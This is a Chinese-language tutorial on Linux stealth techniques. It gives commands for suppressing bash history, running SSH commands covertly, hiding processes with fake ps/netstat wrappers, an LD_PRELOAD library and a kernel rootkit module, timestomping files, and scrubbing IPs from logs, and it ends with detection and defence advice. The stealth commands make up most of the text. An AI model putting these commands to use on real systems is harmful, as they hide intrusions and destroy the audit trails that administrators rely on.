Linux 隐匿技术
字数 2457 2025-08-24 07:48:33

Linux 隐匿技术全面指南

前言

本文详细整理Linux系统中的各种隐匿技术,涵盖历史命令隐藏、SSH隐匿、进程隐藏、文件隐藏和痕迹清理等多个方面。适用于安全研究、渗透测试和系统管理等领域,帮助理解Linux系统的安全特性和潜在风险。

一、Linux历史命令隐匿

1.1 历史命令处理机制

  • CentOS和Ubuntu差异:不同发行版对历史命令的处理逻辑不同
  • bash shell工作流程
    • 打开shell时读取.bash_history到内存
    • 执行命令时追加到内存中的历史记录列表
    • 关闭shell时将内存记录写入.bash_history

1.2 关键环境变量

变量 作用
HISTFILE 历史命令记录文件位置
HISTFILESIZE 历史记录文件最大行数
HISTSIZE 会话中历史命令最大行数
HISTIGNORE 忽略的命令列表
HISTCONTROL 历史记录保存策略

HISTCONTROL选项

  • ignoredups:忽略重复命令(默认)
  • ignorespace:忽略以空格开头的命令
  • ignoreboth:同时忽略重复和空格开头的命令
  • erasedups:删除历史记录中的重复命令

1.3 不记录历史命令的方法

1.3.1 临时禁用历史记录

set +o history  # 禁用
set -o history  # 启用

1.3.2 命令前插入空格

[SPACE]command

注意:仅当HISTCONTROL包含ignorespaceignoreboth时有效

1.3.3 修改环境变量

export HISTSIZE=0  # 设置历史记录条数为0
export HISTFILE=/dev/null  # 将历史记录指向空设备
unset HISTFILE  # 取消历史记录文件

1.4 清除历史命令

1.4.1 清除当前shell历史

history -cw  # 清空内存和文件中的历史

1.4.2 选择性删除

history -d 3  # 删除第3条记录
sed -i '150,$d' ~/.bash_history  # 删除150行到最后

1.5 发行版差异总结

方法 Ubuntu 18.04 CentOS 7
set +o history 完全生效 会记录该命令
空格前缀 有效 无效(默认无ignorespace)
HISTSIZE=0 完全生效 仅后续命令不记录
HISTFILE=/dev/null 完全生效 仅后续命令不记录

推荐组合方案

export HISTSIZE=0
export HISTFILE=/dev/null
export HISTCONTROL=ignoreboth
[SPACE]set +o history
[SPACE]history -cw

二、Linux SSH隐匿技术

2.1 不登录执行命令

2.1.1 执行单个命令

ssh user@host "command"

2.1.2 执行多个命令

ssh user@host "cmd1 && cmd2"
ssh user@host "cmd1 ; cmd2"

2.1.3 执行本地脚本

ssh user@host "bash -s" < local_script.sh

特点:不分配交互式shell,不记录到.bash_history,不被last捕获

2.2 禁用伪终端分配

ssh -T user@host /bin/bash -i

特点

  • 不被wwholast检测
  • 仍会被netstatps检测
  • 关闭后命令会写入.bash_history
  • 登录信息会被last捕获

三、Linux进程隐匿技术

3.1 伪造系统命令

3.1.1 伪造ps命令

  1. 查找原始ps路径:
which ps  # 通常为/usr/bin/ps
  1. 创建伪造ps(如/usr/local/bin/ps):
#!/bin/bash
/usr/bin/ps $@ | grep -Ev 'process_to_hide'
  1. 设置权限:
chmod +x /usr/local/bin/ps

注意:需确保/usr/local/binPATH中优先级高于/usr/bin

3.1.2 伪造netstat命令

类似ps伪造方法:

#!/bin/bash
/usr/bin/netstat $@ | grep -Ev 'port_or_process_to_hide'

3.2 LD_PRELOAD技术

使用libprocesshider项目:

git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider && make
sudo mv libprocesshider.so /usr/local/lib/
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

原理:通过预加载库hook系统调用

3.3 Rootkit隐藏

使用linux_kernel_hacking项目:

git clone https://github.com/xcellerator/linux_kernel_hacking
cd linux_kernel_hacking
make
insmod rootkit.ko  # 加载模块
kill -64 PID      # 隐藏指定PID
rmmod rootkit     # 卸载模块

特点

  • 通过内核模块hook系统调用
  • 进程名和PID被隐藏,但网络连接仍可见
  • 适用于Linux内核>5.7版本

四、Linux文件隐匿技术

4.1 基础隐藏方法

4.1.1 隐藏目录和文件

mkdir /tmp/.hidden_dir
touch /tmp/.hidden_dir/.hidden_file

常见隐藏目录

  • /tmp/.X11-unix
  • /tmp/.ICE-unix
  • /tmp/.XIM-unix

4.1.2 修改文件权限

chattr +i file  # 锁定文件防止删除
lsattr file     # 查看文件属性
chattr -i file  # 解除锁定

4.2 Rootkit文件隐藏

使用linux_kernel_hacking项目:

insmod rootkit.ko  # 加载模块后,特定文件将被隐藏

特点:文件实际存在但不可见,需通过直接路径访问

4.3 时间戳篡改

4.3.1 指定时间戳

touch -t 2409061654.30 file  # 修改为2024-09-06 16:54:30

4.3.2 参考其他文件时间戳

touch -r reference_file target_file

注意stat命令仍可查看Change Time和Birth Time

五、Linux痕迹清理

5.1 日志清理

5.1.1 删除特定IP记录

sed -i '/IP/d' /var/log/secure

5.1.2 替换IP地址

sed -i 's/real_ip/127.0.0.1/g' /var/log/nginx/access.log

5.2 文件清理

5.2.1 安全删除

shred -zu file  # 覆盖后删除

5.2.2 清理临时文件

rm -rf /tmp/malicious_*

六、实验环境与工具

6.1 实验环境

  • Ubuntu 18.04
  • CentOS 7

6.2 工具集合

七、总结与防御建议

7.1 技术总结表

隐匿类型 技术手段 检测方法
历史命令 HISTSIZE=0,空格前缀 审计环境变量
SSH隐匿 非交互式执行,-T参数 网络流量分析
进程隐藏 LD_PRELOAD,Rootkit 完整性检查,内核模块审计
文件隐藏 点文件,Rootkit 直接路径访问,文件系统扫描
痕迹清理 sed,shred 日志聚合,文件恢复

7.2 防御建议

  1. 历史命令监控

    • 定期检查.bash_history异常
    • 监控HIST*环境变量修改
  2. SSH安全加固

    • 启用详细日志记录
    • 限制非交互式SSH访问
  3. 进程完整性检查

    • 使用静态编译的busybox进行进程检查
    • 监控ld.so.preload修改
  4. 文件系统监控

    • 对/tmp等目录设置inotify监控
    • 定期扫描隐藏文件和异常时间戳
  5. Rootkit防御

    • 禁用不必要的内核模块加载
    • 使用完整性检查工具如rkhunter
  6. 日志保护

    • 配置日志远程传输
    • 设置日志文件不可变属性

通过理解这些隐匿技术,安全人员可以更好地防御潜在威胁,而系统管理员可以加强系统安全配置。

Linux 隐匿技术全面指南 前言 本文详细整理Linux系统中的各种隐匿技术,涵盖历史命令隐藏、SSH隐匿、进程隐藏、文件隐藏和痕迹清理等多个方面。适用于安全研究、渗透测试和系统管理等领域,帮助理解Linux系统的安全特性和潜在风险。 一、Linux历史命令隐匿 1.1 历史命令处理机制 CentOS和Ubuntu差异 :不同发行版对历史命令的处理逻辑不同 bash shell工作流程 : 打开shell时读取 .bash_history 到内存 执行命令时追加到内存中的历史记录列表 关闭shell时将内存记录写入 .bash_history 1.2 关键环境变量 | 变量 | 作用 | |------|------| | HISTFILE | 历史命令记录文件位置 | | HISTFILESIZE | 历史记录文件最大行数 | | HISTSIZE | 会话中历史命令最大行数 | | HISTIGNORE | 忽略的命令列表 | | HISTCONTROL | 历史记录保存策略 | HISTCONTROL选项 : ignoredups :忽略重复命令(默认) ignorespace :忽略以空格开头的命令 ignoreboth :同时忽略重复和空格开头的命令 erasedups :删除历史记录中的重复命令 1.3 不记录历史命令的方法 1.3.1 临时禁用历史记录 1.3.2 命令前插入空格 注意 :仅当 HISTCONTROL 包含 ignorespace 或 ignoreboth 时有效 1.3.3 修改环境变量 1.4 清除历史命令 1.4.1 清除当前shell历史 1.4.2 选择性删除 1.5 发行版差异总结 | 方法 | Ubuntu 18.04 | CentOS 7 | |------|-------------|----------| | set +o history | 完全生效 | 会记录该命令 | | 空格前缀 | 有效 | 无效(默认无ignorespace) | | HISTSIZE=0 | 完全生效 | 仅后续命令不记录 | | HISTFILE=/dev/null | 完全生效 | 仅后续命令不记录 | 推荐组合方案 : 二、Linux SSH隐匿技术 2.1 不登录执行命令 2.1.1 执行单个命令 2.1.2 执行多个命令 2.1.3 执行本地脚本 特点 :不分配交互式shell,不记录到 .bash_history ,不被 last 捕获 2.2 禁用伪终端分配 特点 : 不被 w 、 who 、 last 检测 仍会被 netstat 、 ps 检测 关闭后命令会写入 .bash_history 登录信息会被 last 捕获 三、Linux进程隐匿技术 3.1 伪造系统命令 3.1.1 伪造ps命令 查找原始ps路径: 创建伪造ps(如/usr/local/bin/ps): 设置权限: 注意 :需确保 /usr/local/bin 在 PATH 中优先级高于 /usr/bin 3.1.2 伪造netstat命令 类似ps伪造方法: 3.2 LD_ PRELOAD技术 使用libprocesshider项目: 原理 :通过预加载库hook系统调用 3.3 Rootkit隐藏 使用linux_ kernel_ hacking项目: 特点 : 通过内核模块hook系统调用 进程名和PID被隐藏,但网络连接仍可见 适用于Linux内核>5.7版本 四、Linux文件隐匿技术 4.1 基础隐藏方法 4.1.1 隐藏目录和文件 常见隐藏目录 : /tmp/.X11-unix /tmp/.ICE-unix /tmp/.XIM-unix 4.1.2 修改文件权限 4.2 Rootkit文件隐藏 使用linux_ kernel_ hacking项目: 特点 :文件实际存在但不可见,需通过直接路径访问 4.3 时间戳篡改 4.3.1 指定时间戳 4.3.2 参考其他文件时间戳 注意 : stat 命令仍可查看Change Time和Birth Time 五、Linux痕迹清理 5.1 日志清理 5.1.1 删除特定IP记录 5.1.2 替换IP地址 5.2 文件清理 5.2.1 安全删除 5.2.2 清理临时文件 六、实验环境与工具 6.1 实验环境 Ubuntu 18.04 CentOS 7 6.2 工具集合 libprocesshider linux_ kernel_ hacking 七、总结与防御建议 7.1 技术总结表 | 隐匿类型 | 技术手段 | 检测方法 | |---------|---------|---------| | 历史命令 | HISTSIZE=0,空格前缀 | 审计环境变量 | | SSH隐匿 | 非交互式执行,-T参数 | 网络流量分析 | | 进程隐藏 | LD_ PRELOAD,Rootkit | 完整性检查,内核模块审计 | | 文件隐藏 | 点文件,Rootkit | 直接路径访问,文件系统扫描 | | 痕迹清理 | sed,shred | 日志聚合,文件恢复 | 7.2 防御建议 历史命令监控 : 定期检查 .bash_history 异常 监控HIST* 环境变量修改 SSH安全加固 : 启用详细日志记录 限制非交互式SSH访问 进程完整性检查 : 使用静态编译的busybox进行进程检查 监控 ld.so.preload 修改 文件系统监控 : 对/tmp等目录设置inotify监控 定期扫描隐藏文件和异常时间戳 Rootkit防御 : 禁用不必要的内核模块加载 使用完整性检查工具如rkhunter 日志保护 : 配置日志远程传输 设置日志文件不可变属性 通过理解这些隐匿技术,安全人员可以更好地防御潜在威胁,而系统管理员可以加强系统安全配置。